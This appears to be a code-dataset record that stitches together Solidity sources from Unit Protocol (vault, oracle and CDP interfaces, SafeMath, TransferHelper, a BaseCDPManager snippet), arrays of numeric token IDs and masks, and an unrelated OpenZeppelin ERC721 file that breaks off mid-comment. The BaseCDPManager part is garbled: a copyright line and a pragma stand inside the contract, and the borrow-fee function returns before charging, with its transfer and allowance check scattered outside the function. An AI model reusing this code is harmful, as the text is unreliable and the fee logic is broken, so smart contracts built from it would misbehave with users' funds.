function _isLiquidatablePosition(
address asset,
address owner,
uint usdValue_q112
) internal view returns (bool) {
uint debt = vault.getTotalDebt(asset, owner);
// position is collateralized if there is no debt
if (debt == 0) return false;
return debt.mul(100).mul(Q112).div(usdValue_q112) >= vaultManagerParameters.liquidationRatio(asset);
}
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
pragma abicoder v2;
interface IOracleRegistry {
struct Oracle {
uint oracleType;
address oracleAddress;
}
function WETH ( ) external view returns ( address );
function getKeydonixOracleTypes ( ) external view returns ( uint256[] memory );
function getOracles ( ) external view returns ( Oracle[] memory foundOracles );
function keydonixOracleTypes ( uint256 ) external view returns ( uint256 );
function maxOracleType ( ) external view returns ( uint256 );
function oracleByAsset ( address asset ) external view returns ( address );
function oracleByType ( uint256 ) external view returns ( address );
function oracleTypeByAsset ( address ) external view returns ( uint256 );
function oracleTypeByOracle ( address ) external view returns ( uint256 );
function setKeydonixOracleTypes ( uint256[] memory _keydonixOracleTypes ) external;
function setOracle ( uint256 oracleType, address oracle ) external;
function setOracleTypeForAsset ( address asset, uint256 oracleType ) external;
function setOracleTypeForAssets ( address[] memory assets, uint256 oracleType ) external;
function unsetOracle ( uint256 oracleType ) external;
function unsetOracleForAsset ( address asset ) external;
function unsetOracleForAssets ( address[] memory assets ) external;
function vaultParameters ( ) external view returns ( address );
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
interface IOracleUsd {
// returns Q112-encoded value
// returned value 10**18 * 2**112 is $1
function assetToUsd(address asset, uint amount) external view returns (uint);
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
interface IVault {
function DENOMINATOR_1E2 ( ) external view returns ( uint256 );
function DENOMINATOR_1E5 ( ) external view returns ( uint256 );
function borrow ( address asset, address user, uint256 amount ) external returns ( uint256 );
function calculateFee ( address asset, address user, uint256 amount ) external view returns ( uint256 );
function changeOracleType ( address asset, address user, uint256 newOracleType ) external;
function chargeFee ( address asset, address user, uint256 amount ) external;
function col ( ) external view returns ( address );
function colToken ( address, address ) external view returns ( uint256 );
function collaterals ( address, address ) external view returns ( uint256 );
function debts ( address, address ) external view returns ( uint256 );
function depositCol ( address asset, address user, uint256 amount ) external;
function depositEth ( address user ) external payable;
function depositMain ( address asset, address user, uint256 amount ) external;
function destroy ( address asset, address user ) external;
function getTotalDebt ( address asset, address user ) external view returns ( uint256 );
function lastUpdate ( address, address ) external view returns ( uint256 );
function liquidate ( address asset, address positionOwner, uint256 mainAssetToLiquidator, uint256 colToLiquidator, uint256 mainAssetToPositionOwner, uint256 colToPositionOwner, uint256 repayment, uint256 penalty, address liquidator ) external;
function liquidationBlock ( address, address ) external view returns ( uint256 );
function liquidationFee ( address, address ) external view returns ( uint256 );
function liquidationPrice ( address, address ) external view returns ( uint256 );
function oracleType ( address, address ) external view returns ( uint256 );
function repay ( address asset, address user, uint256 amount ) external returns ( uint256 );
function spawn ( address asset, address user, uint256 _oracleType ) external;
function stabilityFee ( address, address ) external view returns ( uint256 );
function tokenDebts ( address ) external view returns ( uint256 );
function triggerLiquidation ( address asset, address positionOwner, uint256 initialPrice ) external;
function update ( address asset, address user ) external;
function usdp ( ) external view returns ( address );
function vaultParameters ( ) external view returns ( address );
function weth ( ) external view returns ( address payable );
function withdrawCol ( address asset, address user, uint256 amount ) external;
function withdrawEth ( address user, uint256 amount ) external;
function withdrawMain ( address asset, address user, uint256 amount ) external;
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
interface ICDPRegistry {
struct CDP {
address asset;
address owner;
}
function batchCheckpoint ( address[] calldata assets, address[] calldata owners ) external;
function batchCheckpointForAsset ( address asset, address[] calldata owners ) external;
function checkpoint ( address asset, address owner ) external;
function cr ( ) external view returns ( address );
function getAllCdps ( ) external view returns ( CDP[] memory r );
function getCdpsByCollateral ( address asset ) external view returns ( CDP[] memory cdps );
function getCdpsByOwner ( address owner ) external view returns ( CDP[] memory r );
function getCdpsCount ( ) external view returns ( uint256 totalCdpCount );
function getCdpsCountForCollateral ( address asset ) external view returns ( uint256 );
function isAlive ( address asset, address owner ) external view returns ( bool );
function isListed ( address asset, address owner ) external view returns ( bool );
function vault ( ) external view returns ( address );
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
interface IVaultManagerParameters {
function devaluationPeriod ( address ) external view returns ( uint256 );
function initialCollateralRatio ( address ) external view returns ( uint256 );
function liquidationDiscount ( address ) external view returns ( uint256 );
function liquidationRatio ( address ) external view returns ( uint256 );
function maxColPercent ( address ) external view returns ( uint256 );
function minColPercent ( address ) external view returns ( uint256 );
function setColPartRange ( address asset, uint256 min, uint256 max ) external;
function setCollateral (
address asset,
uint256 stabilityFeeValue,
uint256 liquidationFeeValue,
uint256 initialCollateralRatioValue,
uint256 liquidationRatioValue,
uint256 liquidationDiscountValue,
uint256 devaluationPeriodValue,
uint256 usdpLimit,
uint256[] calldata oracles,
uint256 minColP,
uint256 maxColP
) external;
function setDevaluationPeriod ( address asset, uint256 newValue ) external;
function setInitialCollateralRatio ( address asset, uint256 newValue ) external;
function setLiquidationDiscount ( address asset, uint256 newValue ) external;
function setLiquidationRatio ( address asset, uint256 newValue ) external;
function vaultParameters ( ) external view returns ( address );
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
interface IVaultParameters {
function canModifyVault ( address ) external view returns ( bool );
function foundation ( ) external view returns ( address );
function isManager ( address ) external view returns ( bool );
function isOracleTypeEnabled ( uint256, address ) external view returns ( bool );
function liquidationFee ( address ) external view returns ( uint256 );
function setCollateral ( address asset, uint256 stabilityFeeValue, uint256 liquidationFeeValue, uint256 usdpLimit, uint256[] calldata oracles ) external;
function setFoundation ( address newFoundation ) external;
function setLiquidationFee ( address asset, uint256 newValue ) external;
function setManager ( address who, bool permit ) external;
function setOracleType ( uint256 _type, address asset, bool enabled ) external;
function setStabilityFee ( address asset, uint256 newValue ) external;
function setTokenDebtLimit ( address asset, uint256 limit ) external;
function setVaultAccess ( address who, bool permit ) external;
function stabilityFee ( address ) external view returns ( uint256 );
function tokenDebtLimit ( address ) external view returns ( uint256 );
function vault ( ) external view returns ( address );
function vaultParameters ( ) external view returns ( address );
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
interface IToken {
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity 0.7.6;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
interface IVaultManagerBorrowFeeParameters {
/**
* @notice 1 = 100% = 10000 basis points
**/
function BASIS_POINTS_IN_1() external view returns (uint);
/**
* @notice Borrow fee receiver
**/
function feeReceiver() external view returns (address);
/**
* @notice Sets the borrow fee receiver. Only manager is able to call this function
* @param newFeeReceiver The address of fee receiver
**/
function setFeeReceiver(address newFeeReceiver) external;
/**
* @notice Sets the base borrow fee in basis points (1bp = 0.01% = 0.0001). Only manager is able to call this function
* @param newBaseBorrowFeeBasisPoints The borrow fee in basis points
**/
function setBaseBorrowFee(uint16 newBaseBorrowFeeBasisPoints) external;
/**
* @notice Sets the borrow fee for a particular collateral in basis points (1bp = 0.01% = 0.0001). Only manager is able to call this function
* @param asset The address of the main collateral token
* @param newEnabled Is custom fee enabled for asset
* @param newFeeBasisPoints The borrow fee in basis points
**/
function setAssetBorrowFee(address asset, bool newEnabled, uint16 newFeeBasisPoints) external;
/**
* @notice Returns borrow fee for particular collateral in basis points (1bp = 0.01% = 0.0001)
* @param asset The address of the main collateral token
* @return feeBasisPoints The borrow fee in basis points
**/
function getBorrowFee(address asset) external view returns (uint16 feeBasisPoints);
/**
* @notice Returns borrow fee for usdp amount for particular collateral
* @param asset The address of the main collateral token
* @return The borrow fee
**/
function calcBorrowFeeAmount(address asset, uint usdpAmount) external view returns (uint);
}
// SPDX-License-Identifier: GPL-3.0-or-later
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity 0.7.6;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
| * @title BaseCDPManager @dev all common logic should be moved here in future/ | abstract contract BaseCDPManager is ReentrancyGuard {
using SafeMath for uint;
IVault public immutable vault;
IVaultManagerParameters public immutable vaultManagerParameters;
IOracleRegistry public immutable oracleRegistry;
ICDPRegistry public immutable cdpRegistry;
IVaultManagerBorrowFeeParameters public immutable vaultManagerBorrowFeeParameters;
IERC20 public immutable usdp;
uint public constant Q112 = 2 ** 112;
uint public constant DENOMINATOR_1E5 = 1e5;
event Join(address indexed asset, address indexed owner, uint main, uint usdp);
event Exit(address indexed asset, address indexed owner, uint main, uint usdp);
event LiquidationTriggered(address indexed asset, address indexed owner);
Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]).
pragma solidity 0.7.6;
modifier checkpoint(address asset, address owner) {
_;
cdpRegistry.checkpoint(asset, owner);
}
constructor(address _vaultManagerParameters, address _oracleRegistry, address _cdpRegistry, address _vaultManagerBorrowFeeParameters) {
require(
_vaultManagerParameters != address(0) &&
_oracleRegistry != address(0) &&
_cdpRegistry != address(0) &&
_vaultManagerBorrowFeeParameters != address(0),
"Unit Protocol: INVALID_ARGS"
);
vaultManagerParameters = IVaultManagerParameters(_vaultManagerParameters);
IVault vaultLocal = IVault(IVaultParameters(IVaultManagerParameters(_vaultManagerParameters).vaultParameters()).vault());
vault = vaultLocal;
oracleRegistry = IOracleRegistry(_oracleRegistry);
cdpRegistry = ICDPRegistry(_cdpRegistry);
vaultManagerBorrowFeeParameters = IVaultManagerBorrowFeeParameters(_vaultManagerBorrowFeeParameters);
usdp = IERC20(vaultLocal.usdp());
}
function _chargeBorrowFee(address asset, address user, uint usdpAmount) internal {
uint borrowFee = vaultManagerBorrowFeeParameters.calcBorrowFeeAmount(asset, usdpAmount);
return;
}
TransferHelper.safeTransferFrom(
address(usdp),
user,
vaultManagerBorrowFeeParameters.feeReceiver(),
borrowFee
);
require(usdp.allowance(user, address(this)) >= borrowFee, "Unit Protocol: BORROW_FEE_NOT_APPROVED");
}
| 2,505,559 | [
1,
2171,
39,
8640,
1318,
225,
777,
2975,
4058,
1410,
506,
10456,
2674,
316,
3563,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
3360,
39,
8640,
1318,
353,
868,
8230,
12514,
16709,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
31,
203,
203,
565,
467,
12003,
1071,
11732,
9229,
31,
203,
565,
467,
12003,
1318,
2402,
1071,
11732,
9229,
1318,
2402,
31,
203,
565,
1665,
16873,
4243,
1071,
11732,
20865,
4243,
31,
203,
565,
26899,
8640,
4243,
1071,
11732,
7976,
84,
4243,
31,
203,
565,
467,
12003,
1318,
38,
15318,
14667,
2402,
1071,
11732,
9229,
1318,
38,
15318,
14667,
2402,
31,
203,
565,
467,
654,
39,
3462,
1071,
11732,
584,
9295,
31,
203,
203,
565,
2254,
1071,
5381,
2238,
17666,
273,
576,
2826,
23543,
31,
203,
565,
2254,
1071,
5381,
463,
1157,
1872,
706,
3575,
67,
21,
41,
25,
273,
404,
73,
25,
31,
203,
203,
565,
871,
4214,
12,
2867,
8808,
3310,
16,
1758,
8808,
3410,
16,
2254,
2774,
16,
2254,
584,
9295,
1769,
203,
203,
565,
871,
9500,
12,
2867,
8808,
3310,
16,
1758,
8808,
3410,
16,
2254,
2774,
16,
2254,
584,
9295,
1769,
203,
203,
565,
871,
511,
18988,
350,
367,
6518,
329,
12,
2867,
8808,
3310,
16,
1758,
8808,
3410,
1769,
203,
203,
203,
225,
25417,
26599,
21,
8380,
4547,
30,
1201,
874,
2285,
581,
30250,
1527,
261,
1561,
36,
4873,
18,
17177,
2934,
203,
683,
9454,
18035,
560,
374,
18,
27,
18,
26,
31,
203,
565,
9606,
9776,
12,
2867,
3310,
16,
1758,
3410,
13,
288,
203,
3639,
389,
31,
203,
3639,
7976,
84,
4243,
18,
25414,
12,
9406,
16,
3410,
1769,
203,
565,
289,
203,
203,
565,
3885,
12,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-22
*/
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
